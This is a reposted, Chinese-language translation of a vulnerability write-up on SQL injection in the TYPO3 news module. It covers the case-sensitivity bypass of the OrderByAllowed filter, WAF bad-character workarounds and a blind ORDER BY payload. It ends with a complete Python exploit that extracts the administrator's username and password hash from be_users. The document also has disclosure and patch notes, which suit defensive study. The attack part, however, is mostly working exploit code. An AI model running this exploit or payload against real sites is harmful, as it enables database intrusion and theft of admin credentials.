热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【漏洞分析】TYPO3CMS新闻管理模块SQL注入漏洞分析(含exp)

翻译:knight预估稿费:150RMB投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿前言通过POST,来发送orderByAllowed和orderBy,我们将能够控制SQL语

http://p3.qhimg.com/t0178445c5495bf4fc9.png

翻译:knight

预估稿费:150RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

通过POST,来发送orderByAllowed和orderBy,我们将能够控制SQL语句的一部分,并获得注入漏洞。


正文

新闻模块是TYPO3(Typo3内容管理系统)中最常用的模块之一,现在会受到SQL注入漏洞的攻击。虽然作者已经在4个月里内多次联系厂商,但是至今都没有修复。现在我们发布一下关于利用这个漏洞的细节。 另外,需要注意的是,当模块设置overrideDemand参数为1时,该漏洞就只会在默认情况下可以被利用。


描述

该模块是MVC架构中的一个组成部分。 作为用户,您可以列出并阅读新闻。 前者允许定义过滤消息的标准,例如作者,类别,发布日期等。以下是负责这样做的NewsController.php中的简化代码片段。其中的注释是我自己写的:

# List of parameters that cannot be set by the user
#用户无法设置的参数列表
    protected $ignoredSettingsForOverride = ['demandClass', 'orderByAllowed'];
# This is our entry point
#这是我们的入口点
# The only parameter, $overwriteDemand, is sent via POST
    #唯一的参数$ overwriteDemand是通过POST发送的
    public function listAction(array $overwriteDemand = null)
    {
        # Initializes a Demand Object with default settings  #使用默认设置初始化需求对象
        $demand = $this->createDemandObjectFromSettings($this->settings);
        # Sets up user-given settings from $overwriteDemand    #从$ overwriteDemand设置用户给定的设置
        $demand = $this->overwriteDemandObject($demand, $overwriteDemand);
        # Builds an SQL query from the Demand object, and runs it  #从Demand对象构建一个SQL查询,并运行它
        $newsRecords = $this->newsRepository->findDemanded($demand);
        # Displays results         #显示结果
        $this->view->display($newsRecords);
    }
    protected function overwriteDemandObject($demand, $overwriteDemand)
    {
        # Some values cannot be set by the user: they are removed  #某些值不能由用户设置:它们被删除
        foreach ($this->ignoredSettingsForOverride as $property) {
            unset($overwriteDemand[$property]);
        }
        # Assign values that went through the filter by calling set<$name>($value)  #通过调用set <$ name>($ value)来分配通过过滤器的值
        foreach ($overwriteDemand as $propertyName => $propertyValue) {
            $methodName = 'set' . ucfirst($propertyName);
            if(is_callable($demand, $setterMethodName))
                $demand->{$setterMethodName}($propertyValue);
        }
        return $demand;
    }

创建后,使用Demand对象的参数构建SQL查询:例如,设置一个作者作为查询条件来添加与此类似的条件来进行添加:

WHERE author='{$demand->getAuthor()}'

原理

任何属性都可能作为潜在的SQL注入向量。 可能的标准列在了下面:

public function setArchiveRestriction($archiveRestriction)
public function setCategories($categories)
public function setCategoryConjunction($categoryConjunction)
public function setIncludeSubCategories($includeSubCategories)
public function setAuthor($author)
public function setTags($tags)
public function setTimeRestriction($timeRestriction)
public function setTimeRestrictionHigh($timeRestrictionHigh)
public function setOrder($order)
public function setOrderByAllowed($orderByAllowed)
public function setTopNewsFirst($topNewsFirst)
public function setSearchFields($searchFields)
public function setTopNewsRestriction($topNewsRestriction)
public function setStoragePage($storagePage)
public function setDay($day)
public function setMonth($month)
public function setYear($year)
public function setLimit($limit)
public function setOffset($offset)
public function setDateField($dateField)
public function setSearch($search = null)
public function setExcludeAlreadyDisplayedNews($excludeAlreadyDisplayedNews)
public function setHideIdList($hideIdList)
public function setAction($action)
public function setClass($class)
public function setActionAndClass($action, $controller)

其中有一些很有用,因为它们不包含在SQL查询中的引号中; limit,offset,和order 看起来可以被利用。 但是不幸的是,前两个都被cast进行了过滤。

然而,最后一个order,通过白名单进行了过滤,而该白名单包含在另一个参数中:

if (Validation::isValidOrdering($demand->getOrder(), $demand->getOrderByAllowed())) {
    $order_by_field = $demand->getOrder();} else {
    # Default
    $order_by_field = 'id';}

通过POST,来发送orderByAllowed和orderBy,我们将能够控制SQL语句的一部分,并获得注入漏洞。

但是我们又一次被阻止了:orderByAllowed是黑名单参数之一:它不能通过POST来设置。 这里属于属性过滤/重新设置代码:

protected function overwriteDemandObject($demand, $overwriteDemand){
    # Some values cannot be set by the user: they are removed #某些值不能由用户设置:它们被删除
    foreach ($this->ignoredSettingsForOverride as $property) {
        unset($overwriteDemand[$property]);
    }
# Assign values that went through the filter by calling set<$name>($value)
#通过调用set <$ name>($ value)来分配通过过滤器的值
    foreach ($overwriteDemand as $propertyName => $propertyValue) {
        $methodName = 'set' . ucfirst($propertyName);
        if(is_callable($demand, $setterMethodName))
            $subject->{$setterMethodName}($propertyValue);
    }
    return $demand;}

为了调用setter,将该模块给定参数的第一个字母大写。它让我们绕过unset()过滤器:通过发送大写字母O来代替OrderByAllowed,它不再会被删除,并且setOrderByAllowed()还会被调用。

我们现在可以定义自己的orderbyallowed:我们就可以随意的使用order语法,我们得到了一个SQL注入漏洞。

开发

由于我们正在利用MySQL上的ORDER BY语句,因此我们的有效载荷必须具有以下形式:

IF(
    (
        ORD(SUBSTRING(
            (SELECT password FROM be_user WHERE id=1), 4, 1)
        )) = 0x41
    ),
    id,
    title
)

根据测试的结果,消息的排序将发生变化,从而允许我们执行基于测试的SQL注入。

但是,对于一些应用程序逻辑和WAF过滤器,我们需要绕过一些限制,以便能够利用这种SQL注入。

BadChars:

任何大写字母

任何空格

逗号

 SQL注释(由于WAF)

此外,表的名称是我们的有效载荷的前缀。 也就是说,SQL查询语句如下所示:

SELECT ... FROM ... ORDER BY tx_news_model_domain_news.$order

由于SQL不关心这种情况,所以第一个问题可以被丢弃。 第二个,连同注释,可以通过使用括号语法来绕过,例如:

..(SELECT(password)FROM(be_users)WHERE(id=1))...

逗号有点烦人,但MySQL提供了一些替代语法,例如SUBSTRING(x FROM y FOR z)而不是SUBSTRING(x,y,z)和(CASE条件WHEN 1 THEN x ELSE y END)而不是 IF(条件,x,y)。

Badchars会被过滤,所以我们现在应该专注于前缀问题。 而不是使用两个字段,我们选择一个数字字段,并将其乘以1或-1,这取决于我们的条件,像这样:

uid * (CASE condition WHEN 1 THEN 1 ELSE -1 END)

如果条件为真,消息将按照uid排序。 否则,它们将被-uid排序,这意味着它们将以相反的顺序显示。

我们的最终有效载荷如下所示:

id*(case(ord(substring((select(password)from(be_users)where(uid=1))from(2)for(1))))when(48)then(1)else(-1)end)

我们现在就能够进行盲注了。 默认情况下,会话会绑定IP,这意味着我们无法使用它们来劫持帐户。 我们需要下载并强制进行暴力破解。


补丁

补丁的最佳方法是通过将overrideDemand的参数设置为零来阻止用户更改需求参数。 另一种方法是阻止从GET和POST中包含OrderByAllowed的任何案例变体和URL编码的键。


时间线

2017-01-05发送电子邮件到TYPO3的安全团队,报告通过DateField就可以漏洞利用(相同的向量,只不过更容易)

2017-01-20漏洞被发现,TYPO3表示已经修补

2017-01-25报告了通过OrderByAllowed可以进行漏洞利用

2017-04-05多次尝试后仍然没有回答


Exploit

#!/usr/bin/python3
# TYPO3 News Module SQL Injection Exploit
# https://www.ambionics.io/blog/typo3-news-module-sqli
# cf
#
# The injection algorithm is not optimized, this is just meant to be a POC.
#
import requests
import string
session = requests.Session()
session.proxies = {'http': 'localhost:8080'}
# Change this :-)
URL = 'http://vmweb/typo3/index.php?id=8&no_cache=1'
PATTERN0 = 'Article #1'
PATTERN1 = 'Article #2'
FULL_CHARSET = string.ascii_letters + string.digits + '$./'
def blind(field, table, condition, charset):
    # We add 9 so that the result has two digits
    # If the length is superior to 100-9 it won't work
    size = blind_size(
        'length(%s)+9' % field, table, condition,
        2, string.digits
    )
    size = int(size) - 9
    data = blind_size(
        field, table, condition,
        size, charset
    )
    return data
def select_position(field, table, condition, position, char):
    payload = 'select(%s)from(%s)where(%s)' % (
        field, table, condition
    )
    payload = 'ord(substring((%s)from(%d)for(1)))' % (payload, position)
    payload = 'uid*(case((%s)=%d)when(1)then(1)else(-1)end)' % (
        payload, ord(char)
    )
    return payload
def blind_size(field, table, condition, size, charset):
    string = ''
    for position in range(size):
        for char in charset:
            payload = select_position(field, table, condition, position+1, char)
            if test(payload):
                string += char
                print(string)
                break
        else:
            raise ValueError('Char was not found')
    return string
def test(payload):
    response = session.post(
        URL,
        data=data(payload)
    )
    response = response.text
    return response.index(PATTERN0) < response.index(PATTERN1)
def data(payload):
    return {
        'tx_news_pi1[overwriteDemand][order]': payload,
        'tx_news_pi1[overwriteDemand][OrderByAllowed]': payload,
        'tx_news_pi1[search][subject]': '',
        'tx_news_pi1[search][minimumDate]': '2016-01-01',
        'tx_news_pi1[search][maximumDate]': '2016-12-31',
    }
# Exploit
print("USERNAME:", blind('username', 'be_users', 'uid=1', string.ascii_letters))
print("PASSWORD:", blind('password', 'be_users', 'uid=1', FULL_CHARSET))


推荐阅读
  • 自动轮播,反转播放的ViewPagerAdapter的使用方法和效果展示
    本文介绍了如何使用自动轮播、反转播放的ViewPagerAdapter,并展示了其效果。该ViewPagerAdapter支持无限循环、触摸暂停、切换缩放等功能。同时提供了使用GIF.gif的示例和github地址。通过LoopFragmentPagerAdapter类的getActualCount、getActualItem和getActualPagerTitle方法可以实现自定义的循环效果和标题展示。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 本文介绍了brain的意思、读音、翻译、用法、发音、词组、同反义词等内容,以及脑新东方在线英语词典的相关信息。还包括了brain的词汇搭配、形容词和名词的用法,以及与brain相关的短语和词组。此外,还介绍了与brain相关的医学术语和智囊团等相关内容。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • Python正则表达式学习记录及常用方法
    本文记录了学习Python正则表达式的过程,介绍了re模块的常用方法re.search,并解释了rawstring的作用。正则表达式是一种方便检查字符串匹配模式的工具,通过本文的学习可以掌握Python中使用正则表达式的基本方法。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • 本文详细介绍了Spring的JdbcTemplate的使用方法,包括执行存储过程、存储函数的call()方法,执行任何SQL语句的execute()方法,单个更新和批量更新的update()和batchUpdate()方法,以及单查和列表查询的query()和queryForXXX()方法。提供了经过测试的API供使用。 ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
  • 成功安装Sabayon Linux在thinkpad X60上的经验分享
    本文分享了作者在国庆期间在thinkpad X60上成功安装Sabayon Linux的经验。通过修改CHOST和执行emerge命令,作者顺利完成了安装过程。Sabayon Linux是一个基于Gentoo Linux的发行版,可以将电脑快速转变为一个功能强大的系统。除了作为一个live DVD使用外,Sabayon Linux还可以被安装在硬盘上,方便用户使用。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • ALTERTABLE通过更改、添加、除去列和约束,或者通过启用或禁用约束和触发器来更改表的定义。语法ALTERTABLEtable{[ALTERCOLUMNcolu ... [详细]
  • Html5-Canvas实现简易的抽奖转盘效果
    本文介绍了如何使用Html5和Canvas标签来实现简易的抽奖转盘效果,同时使用了jQueryRotate.js旋转插件。文章中给出了主要的html和css代码,并展示了实现的基本效果。 ... [详细]
  • Python SQLAlchemy库的使用方法详解
    本文详细介绍了Python中使用SQLAlchemy库的方法。首先对SQLAlchemy进行了简介,包括其定义、适用的数据库类型等。然后讨论了SQLAlchemy提供的两种主要使用模式,即SQL表达式语言和ORM。针对不同的需求,给出了选择哪种模式的建议。最后,介绍了连接数据库的方法,包括创建SQLAlchemy引擎和执行SQL语句的接口。 ... [详细]
  • 本文介绍了在CentOS上安装Python2.7.2的详细步骤,包括下载、解压、编译和安装等操作。同时提供了一些注意事项,以及测试安装是否成功的方法。 ... [详细]
author-avatar
ociVyouzhangzh063_1fd2bf_633
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有